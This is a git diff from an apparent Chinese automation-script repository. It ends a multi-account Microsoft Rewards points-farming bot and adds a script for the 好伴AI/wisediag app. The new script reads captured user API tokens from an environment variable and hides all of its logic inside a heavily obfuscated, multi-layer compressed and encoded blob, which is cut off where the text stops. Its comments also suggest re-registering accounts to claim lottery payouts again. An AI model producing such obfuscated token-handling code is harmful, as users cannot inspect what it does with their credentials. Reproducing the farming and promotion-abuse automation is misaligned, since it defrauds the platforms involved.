+ if final_data and final_data['points'] is not None:
+ final_points = final_data['points']
+
+ # 获取dashboard数据来显示今日总积分
+ final_dashboard_data = service.get_dashboard_data(cookies, account_index)
+ today_total_earned = service.get_today_earned_points(final_dashboard_data, account_index) if final_dashboard_data else 0
+
+ # 使用新的日志格式:任务完成 + 今日积分
+ self._log_account_complete(final_points, today_total_earned, account_index)
+
+ # 生成详细的任务摘要
+ summary = self._format_account_summary(
+ email, current_points, final_points,
+ daily_completed, more_completed, read_completed, account_index, cookies, account, service,
+ today_total_earned
+ )
+ return summary
+ else:
+ print_log("脚本完成", "无法获取最终积分", account_index)
+ return None
+
+ except SystemExit:
+ # 搜索任务未完成,线程被终止
+ #print_log("账号处理", f"搜索任务未完成,账号处理被终止", account_index)
+ return None
+ except Exception as e:
+ error_details = traceback.format_exc()
+ print_log("账号处理错误", f"处理账号时发生异常: {e}", account_index)
+ print_log("错误详情", f"详细错误信息: {error_details}", account_index)
+ return None
+
+ def _perform_search_tasks(self, cookies: str, account_index: int, email: str, service: RewardsService, stop_event: threading.Event):
+ """执行搜索任务"""
+
+ # 获取初始dashboard数据检查任务状态
+ dashboard_data = service.get_dashboard_data(cookies, account_index)
+
+ # 获取账号等级
+ account_level = service.get_account_level(dashboard_data)
+ # print_log("账号等级", f"当前账号等级: {account_level}", account_index)
+
+ # 电脑搜索
+ if dashboard_data:
+ # 获取搜索状态
+ pc_current, pc_max = self._get_search_status(dashboard_data, 'pcSearch')
+
+ # 使用双重检查确保准确性
+ is_complete_by_flag = service.is_pc_search_complete(dashboard_data)
+ is_complete_by_progress = pc_current >= pc_max and pc_max > 0
+
+ if is_complete_by_flag or is_complete_by_progress:
+ # 任务已完成
+ logger.success("电脑搜索", f"已完成 ({pc_current}/{pc_max})", account_index)
+ else:
+ # 任务确实未完成,开始执行搜索
+ required_searches = self._calculate_required_searches(dashboard_data, 'pcSearch')
+ logger.search_start("电脑", required_searches, config.SEARCH_CHECK_INTERVAL, account_index)
+
+ # 记录初始进度
+ last_progress = self._get_search_progress_sum(dashboard_data, 'pcSearch')
+
+ # 执行搜索,如果任务完成则提前终止
+ count = 0
+ for i in range(config.SEARCH_CHECK_INTERVAL):
+ count += 1
+ if service.perform_pc_search(cookies, account_index, email):
+ delay = random.randint(config.SEARCH_DELAY_MIN, config.SEARCH_DELAY_MAX)
+ logger.search_progress("电脑", i+1, config.SEARCH_CHECK_INTERVAL, delay, account_index)
+ time.sleep(delay)
+ else:
+ print_log("电脑搜索", f"第{i+1}次搜索失败", account_index)
+
+ # 每次搜索后检查进度(静默模式,避免错误日志干扰)
+ dashboard_data = service.get_dashboard_data(cookies, account_index, silent=True)
+ current_progress = self._get_search_progress_sum(dashboard_data, 'pcSearch') if dashboard_data else last_progress
+
+ # 第6次搜索完成后输出进度变化
+ if count == config.SEARCH_CHECK_INTERVAL:
+ logger.search_progress_summary("电脑", count, last_progress, current_progress, account_index)
+
+ # 检查任务是否完成,如果完成则提前终止
+ if dashboard_data and service.is_pc_search_complete(dashboard_data):
+ logger.search_complete("电脑", i+1, account_index, True)
+ break
+
+ # 如果循环正常结束(没有break),检查任务是否真正完成
+ else:
+ if dashboard_data and not service.is_pc_search_complete(dashboard_data):
+ # print_log("电脑搜索", f"执行完{config.SEARCH_CHECK_INTERVAL}次搜索后任务未完成,停止线程", account_index)
+ stop_event.set()
+ raise SystemExit()
+ else:
+ logger.warning("电脑搜索", "无法获取状态", account_index)
+
+ # 移动搜索 - 只有非1级账号才执行
+ if account_level != "Level1":
+ # 重新获取dashboard数据,因为电脑搜索可能已经改变了状态
+ dashboard_data = service.get_dashboard_data(cookies, account_index)
+
+ if dashboard_data:
+ # 获取搜索状态
+ mobile_current, mobile_max = self._get_search_status(dashboard_data, 'mobileSearch')
+
+ # 使用双重检查确保准确性
+ is_complete_by_flag = service.is_mobile_search_complete(dashboard_data)
+ is_complete_by_progress = mobile_current >= mobile_max and mobile_max > 0
+
+ if is_complete_by_flag or is_complete_by_progress:
+ # 任务已完成
+ logger.success("移动搜索", f"已完成 ({mobile_current}/{mobile_max})", account_index)
+ else:
+ # 任务确实未完成,开始执行搜索
+ required_searches = self._calculate_required_searches(dashboard_data, 'mobileSearch')
+ logger.search_start("移动", required_searches, config.SEARCH_CHECK_INTERVAL, account_index)
+
+ # 执行搜索逻辑
+ last_progress = self._get_search_progress_sum(dashboard_data, 'mobileSearch')
+ count = 0
+ for i in range(config.SEARCH_CHECK_INTERVAL):
+ count += 1
+ if service.perform_mobile_search(cookies, account_index, email):
+ delay = random.randint(config.SEARCH_DELAY_MIN, config.SEARCH_DELAY_MAX)
+ logger.search_progress("移动", i+1, config.SEARCH_CHECK_INTERVAL, delay, account_index)
+ time.sleep(delay)
+ else:
+ print_log("移动搜索", f"第{i+1}次搜索失败", account_index)
+
+ # 检查进度
+ dashboard_data = service.get_dashboard_data(cookies, account_index, silent=True)
+ current_progress = self._get_search_progress_sum(dashboard_data, 'mobileSearch') if dashboard_data else last_progress
+
+ if count == config.SEARCH_CHECK_INTERVAL:
+ logger.search_progress_summary("移动", count, last_progress, current_progress, account_index)
+
+ # 检查是否完成
+ if dashboard_data and service.is_mobile_search_complete(dashboard_data):
+ logger.search_complete("移动", i+1, account_index, True)
+ break
+ else:
+ # 循环结束但任务未完成
+ if dashboard_data and not service.is_mobile_search_complete(dashboard_data):
+ stop_event.set()
+ raise SystemExit()
+ else:
+ logger.warning("移动搜索", "无法获取状态", account_index)
+ else:
+ logger.search_skip("移动", "1级账号无此任务", account_index)
+
+ def _get_search_progress_sum(self, dashboard_data: Dict[str, Any], search_type: str) -> int:
+ """获取搜索进度总和"""
+ if not dashboard_data:
+ return 0
+ dashboard = dashboard_data.get('dashboard', {})
+ user_status = dashboard.get('userStatus', {})
+ counters = user_status.get('counters', {})
+ search_tasks = counters.get(search_type, [])
+ return sum(task.get('pointProgress', 0) for task in search_tasks)
+
+ def _get_search_progress_max(self, dashboard_data: Dict[str, Any], search_type: str) -> int:
+ """获取搜索进度最大值"""
+ if not dashboard_data:
+ return 0
+ dashboard = dashboard_data.get('dashboard', {})
+ user_status = dashboard.get('userStatus', {})
+ counters = user_status.get('counters', {})
+ search_tasks = counters.get(search_type, [])
+ return sum(task.get('pointProgressMax', 0) for task in search_tasks)
+
+ def _get_search_status(self, dashboard_data: Dict[str, Any], search_type: str) -> tuple:
+ """获取搜索状态 (当前进度, 最大值)"""
+ current = self._get_search_progress_sum(dashboard_data, search_type)
+ maximum = self._get_search_progress_max(dashboard_data, search_type)
+ return current, maximum
+
+ def _log_account_complete(self, final_points: int, today_earned: int, account_index: int):
+ """记录账号任务完成日志"""
+ msg = f"{final_points} ({today_earned})"
+ logger._log(2, "🎉", "任务完成", msg, account_index) # 2 = LogLevel.SUCCESS
+
+ def _format_account_summary(self, email: str, start_points: int, final_points: int,
+ daily_completed: int, more_completed: int, read_completed: int,
+ account_index: int, cookies: str, account: AccountInfo, service: RewardsService,
+ today_total_earned: int = 0) -> str:
+ """格式化账号摘要"""
+ lines = [
+ f"账号{account_index} - {email}",
+ f"📊当前积分: {final_points} ({today_total_earned})"
+ ]
+
+ # 获取dashboard数据
+ try:
+ dashboard_data = service.get_dashboard_data(cookies, account_index)
+ if dashboard_data and dashboard_data.get('dashboard'):
+ dashboard = dashboard_data.get('dashboard', {})
+ user_status = dashboard.get('userStatus', {})
+ counters = user_status.get('counters', {})
+
+ # 每日活动统计
+ today_str = date.today().strftime('%m/%d/%Y')
+ daily_set_promotions = dashboard.get('dailySetPromotions', {})
+ if not daily_set_promotions:
+ daily_set_promotions = {}
+ daily_tasks = daily_set_promotions.get(today_str, [])
+ daily_completed_count = 0
+ daily_total_count = 0
+ if daily_tasks:
+ daily_completed_count = sum(1 for task in daily_tasks if task.get('complete'))
+ daily_total_count = len(daily_tasks)
+ lines.append(f"📅每日活动: {daily_completed_count}/{daily_total_count}")
+
+ # 更多活动统计 - 使用与日志相同的筛选逻辑
+ more_tasks = dashboard.get('morePromotions', [])
+ if not more_tasks:
+ more_tasks = []
+
+ more_completed_count = 0
+ more_total_count = 0
+ if more_tasks:
+ for task in more_tasks:
+ complete = task.get('complete')
+ priority = task.get('priority')
+ attributes = task.get('attributes', {})
+ is_unlocked = attributes.get('is_unlocked')
+ max_points = task.get('pointProgressMax', 0)
+
+ # 跳过没有积分奖励的任务
+ if max_points <= 0:
+ continue
+
+ # 跳过明确被锁定的任务
+ if is_unlocked == 'False':
+ continue
+
+ # 统计所有有积分奖励且未明确锁定的任务
+ # 优先级检查:-1到7都是有效优先级,None值视为无效
+ if priority is not None and -30 <= priority <= 7:
+ more_total_count += 1
+ if complete: # 已完成的有价值任务
+ more_completed_count += 1
+ lines.append(f"🎯更多活动: {more_completed_count}/{more_total_count}")
+
+ # 阅读任务进度 - 获取真实进度,但避免重复缓存
+ read_progress_text = f"📖阅读任务: {read_completed}/30"
+ if account.refresh_token:
+ try:
+ # 静默获取access_token,不触发缓存
+ access_token = service.get_access_token(account.refresh_token, account.alias, account_index, silent=True)
+ if access_token:
+ progress_data = service.get_read_progress(access_token, account_index)
+ if progress_data and isinstance(progress_data, dict):
+ read_progress_text = f"📖阅读任务: {progress_data.get('progress', 0)}/{progress_data.get('max', 3)}"
+ except:
+ pass # 如果获取失败,使用默认格式
+ lines.append(read_progress_text)
+
+ # 搜索任务进度
+ # 获取详细账号等级信息
+ level_details = self._get_account_level_details(dashboard_data)
+ account_level = level_details.get('level', 'Level1') if level_details else 'Level1'
+
+ # 电脑搜索进度
+ pc_search_tasks = counters.get("pcSearch", [])
+ if pc_search_tasks:
+ for task in pc_search_tasks:
+ if task: # 确保task不为None
+ title = task.get('title', "电脑搜索")
+ progress = f"{task.get('pointProgress', 0)}/{task.get('pointProgressMax', 0)}"
+ lines.append(f"💻电脑搜索: {progress}")
+ else:
+ lines.append("💻电脑搜索: 无数据")
+
+ # 移动搜索进度 - 只有非1级账号才显示
+ if account_level != "Level1":
+ mobile_search_tasks = counters.get("mobileSearch", [])
+ if mobile_search_tasks:
+ for task in mobile_search_tasks:
+ if task: # 确保task不为None
+ title = task.get('title', "移动搜索")
+ progress = f"{task.get('pointProgress', 0)}/{task.get('pointProgressMax', 0)}"
+ lines.append(f"📱移动搜索: {progress}")
+ else:
+ lines.append("📱移动搜索: 无数据")
+ else:
+ lines.append("📱移动搜索: 1级账号无此任务")
+ else:
+ # 如果无法获取dashboard数据,使用简化格式
+ lines.extend([
+ f"📅每日活动: 完成 {daily_completed} 个任务",
+ f"🎯更多活动: 完成 {more_completed} 个任务",
+ f"📖阅读任务: 完成 {read_completed} 个任务",
+ f"🔍搜索任务: 电脑搜索和移动搜索已执行"
+ ])
+ except Exception as e:
+ # 异常情况下使用简化格式
+ lines.extend([
+ f"📅每日活动: 完成 {daily_completed} 个任务",
+ f"🎯更多活动: 完成 {more_completed} 个任务",
+ f"📖阅读任务: 完成 {read_completed} 个任务",
+ f"🔍搜索任务: 电脑搜索和移动搜索已执行"
+ ])
+
+ return '\n'.join(lines)
+
+ def run(self):
+ """运行主程序"""
+ account_summaries = {} # 使用字典保存账号摘要,key为账号索引
+ threads = []
+ summaries_lock = threading.Lock()
+ # 为每个线程创建独立的停止事件,避免全局共享
+ thread_stop_events = {}
+
+ def thread_worker(account: AccountInfo):
+ # 为每个线程创建独立的RewardsService实例,避免共享状态
+ service = RewardsService()
+ # 为每个线程创建独立的停止事件
+ thread_stop_events[account.index] = threading.Event()
+ try:
+ summary = self.process_single_account(account, service, thread_stop_events[account.index])
+ if summary:
+ with summaries_lock:
+ account_summaries[account.index] = summary
+ except SystemExit:
+ # 搜索任务失败导致的线程终止,不记录为错误
+ pass
+ except Exception as e:
+ print_log(f"账号{account.index}错误", f"处理账号时发生异常: {e}", account.index)
+ finally:
+ # 确保Service实例被正确清理
+ if hasattr(service, 'request_manager'):
+ service.request_manager.close()
+
+ # 启动所有账号的处理线程
+ for account in self.accounts:
+ t = threading.Thread(target=thread_worker, args=(account,))
+ threads.append(t)
+ t.start()
+
+ # 等待所有线程完成
+ for t in threads:
+ t.join()
+
+ # 按账号索引排序并转换为列表
+ sorted_summaries = []
+ if account_summaries:
+ # 按账号索引排序
+ for account_index in sorted(account_summaries.keys()):
+ sorted_summaries.append(account_summaries[account_index])
+
+ # 检查是否有线程因搜索失败而停止
+ any_search_failed = any(event.is_set() for event in thread_stop_events.values())
+
+ # 推送结果
+ self._send_notification(sorted_summaries, any_search_failed)
+
+ def _send_notification(self, summaries: List[str], any_search_failed: bool):
+ """发送通知"""
+ if any_search_failed:
+ print(f"\n\n{'='*17} [任务未全部完成] {'='*17}")
+ print_log(f"系统提示", f"搜索任务未全部完成")
+ print_log(f"系统提示", f"建议每 30+ 分钟重新运行一次")
+ print_log(f"统一推送", "任务未全部完成,取消推送")
+ print(f"{'='*17} [任务未全部完成] {'='*17}")
+ return
+ else:
+ print(f"\n\n{'='*17} [全部任务完成] {'='*17}")
+
+ # 增加任务完成计数
+ global_cache_manager.increment_tasks_complete_count()
+
+ if summaries:
+ content = "\n\n".join(summaries)
+
+ if global_cache_manager.has_pushed_today():
+ print_log("统一推送", "今天已经推送过,取消本次推送。")
+ else:
+ print_log("统一推送", "准备发送所有账号的总结报告...")
+ try:
+ title = f"Microsoft Rewards 任务总结 ({date.today().strftime('%Y-%m-%d')})"
+ global_notification_manager.send(title, content)
+ print_log("推送成功", "总结报告已发送。")
+ global_cache_manager.mark_pushed_today()
+ except Exception as e:
+ print_log("推送失败", f"发送总结报告时出错: {e}")
+ else:
+ print_log("统一推送", "没有可供推送的账号信息。")
+ return
+
+ # 无论是否推送,都在日志末尾打印内容摘要
+ print(f"{'='*17} [全部任务完成] {'='*17}")
+
+# ==================== 主程序入口 ====================
+def main():
+ """主程序入口"""
+ try:
+ bot = RewardsBot()
+ bot.run()
+ except KeyboardInterrupt:
+ print_log("程序中断", "用户中断程序执行")
+ except Exception as e:
+ print_log("程序错误", f"程序执行出错: {e}")
+
+if __name__ == "__main__":
+ main()
\ No newline at end of file
diff --git a/好伴AI.py b/好伴AI.py
new file mode 100644
index 0000000..7f05f83
--- /dev/null
+++ b/好伴AI.py
@@ -0,0 +1,34 @@
+import requests
+import json
+import time
+import random
+import os
+# https://www.wisediag.com/app/download?shareCode=4ixniolc&isLogin=1 软件下载链接
+# 先自己抽奖一次 然后绑定自己的支付宝账号
+# 有个骚操作我不知道可不可以,我不知道行不行 如果到账以后再注销账号 再重新申请
+# 从环境变量 HBA_TK 获取 token,多个token用回车分隔
+#就抓包那个token
+#域名是api.wisediag.com
+#【免责声明】
+# 本脚本仅供学习和交流使用,严禁用于任何商业用途或非法用途。
+# 使用本脚本所带来的一切后果由使用者本人承担,作者不对因使用本脚本造成的任何损失或法律责任负责。
+# 请遵守相关法律法规,尊重目标平台的服务条款。
+# 若您不同意本声明,请立即停止使用并删除本脚本。
+# -------------------------- 核心自定义配置 --------------------------
+INVITE_CODE_GET_COUNT = 5 # 抽奖次数(只可以抽三次)
+DELAY_RANGE = (1, 1) # 每次接口请求延迟范围(想快的话直接填1,1最好慢点)
+SHORT_URL_PER_CODE_COUNT = 1 # 不要改动
+# -------------------------- 核心自定义配置 --------------------------
+import base64,zlib,lzma,gzip,bz2
+BASE62_CHARS="0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
+def _base62_dec(d):
+ d_s=d.decode();n=0
+ for c in d_s:n=n*62+BASE62_CHARS.index(c)
+ return n.to_bytes((n.bit_length()+7)//8,"big")if n else b"\x00"
+def d(d,ops):
+ for op in reversed(ops):
+ d=zlib.decompress(d)if op=="zlib"else lzma.decompress(d)if op=="lzma"else gzip.decompress(d)if op=="gzip"else bz2.decompress(d)if op=="bz2"else base64.b64decode(d)if op=="base64"else base64.b32decode(d)if op=="base32"else _base62_dec(d)if op=="base62"else base64.b85decode(d)
+ return d.decode()
+e,b="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